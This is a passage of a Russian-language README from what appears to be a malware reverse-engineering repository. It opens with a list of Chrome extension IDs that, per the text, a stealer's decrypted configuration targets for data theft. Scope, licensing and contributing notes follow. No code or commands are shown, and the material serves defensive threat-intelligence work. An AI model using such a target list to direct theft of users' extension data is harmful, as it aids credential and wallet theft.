omajpeaffjgmlpmhbfdjepdejoemifpe onhogfjeacnfoofkfgppdlbmlmnplgbn
ooiepdgjjnhcmlaobfinbomgebfgablh ookjlbkiijinhpmnjffcofjonbfbgaoc
opcgpfmipidbgpenhmajoajpbobppdil oponnjpnbhdmohlkonljdfhbeibljfoa
oppceojapmdmhpnmjpballbbdclocdhj panpgppehdchfphcigocleabcmcgfoca
pdadjkfkgcafgbceimcpbkalnfnepbnk pdgbckgdncnhihllonhnjbdoighgpimk
pdliaogehgdbhbnmkklieghmmjkpigpa pdlocjdlejekdbpghdcmedeacpkfiiof
peigonhbenoefaeplkpalmafieegnapj penjlddjkjgpnkllboccdgccekpkcbin
pgiaagfkgcbnmiiolekcfmljdagdhlcm pgojdfajgcjjpjnbpfaelnpnjocakldb
phkbamefinggmakgklpkljjmgibohnba pmmbeeacafhbpgmlkacpadheejlhhkbf
pnndplcbkakcplkjnolgbkdgjikjednm pnphepacpjpklpbacfmebicbgndobakn
pocmplpaccanhmnllbbkpgfliimjljgo pogabilnghhbafaheaepaaeopjpleimd
ppbibelpcjmhbdihakflkdcoccbgbkpo ppdadbejkmjnefldpcdjhnkpbjkikoip
Область применения и ограничения
- Этот репозиторий документирует статический анализ и дешифрование одного образца вредоносного ПО и его встроенной конфигурации.
- Атрибуция кампании является аналитической, основанной на восстановленной инфраструктуре и пересечении TTP; это не заявление об атрибуции со стороны правоохранительных органов.
- Перечисленные идентификаторы расширений Chrome указывают на легитимные расширения, ставшие целью кражи данных, а не на вредоносные расширения.
- Правила обнаружения должны быть проверены и настроены в целевой среде перед развертыванием в промышленной эксплуатации.
- Пакет STIX соответствует STIX 2.1, но использует упрощенные идентификаторы для удобочитаемости; перед импортом в промышленные платформы CTI при необходимости разрешения конфликтов следует повторно сгенерировать UUID.
История версий
См. CHANGELOG.md для обновлений по версиям.
Участие в разработке
См. CONTRIBUTING.md для руководств, шаблонов вопросов и контрольного списка PR.
Лицензия
Текст анализа и скрипты выпущены под лицензией MIT. Списки IOC и контент разведки угроз предоставлены в защитных целях; повторное использование в коммерческих продуктах разрешено в соответствии с условиями лицензии.
Независимая обратная разработка в изолированной среде. Зашифрованная конфигурация была восстановлена с помощью статического анализа и эмуляции ЦП по каждому хелперу. См. scripts/decrypt_all.py и SECURITY.md.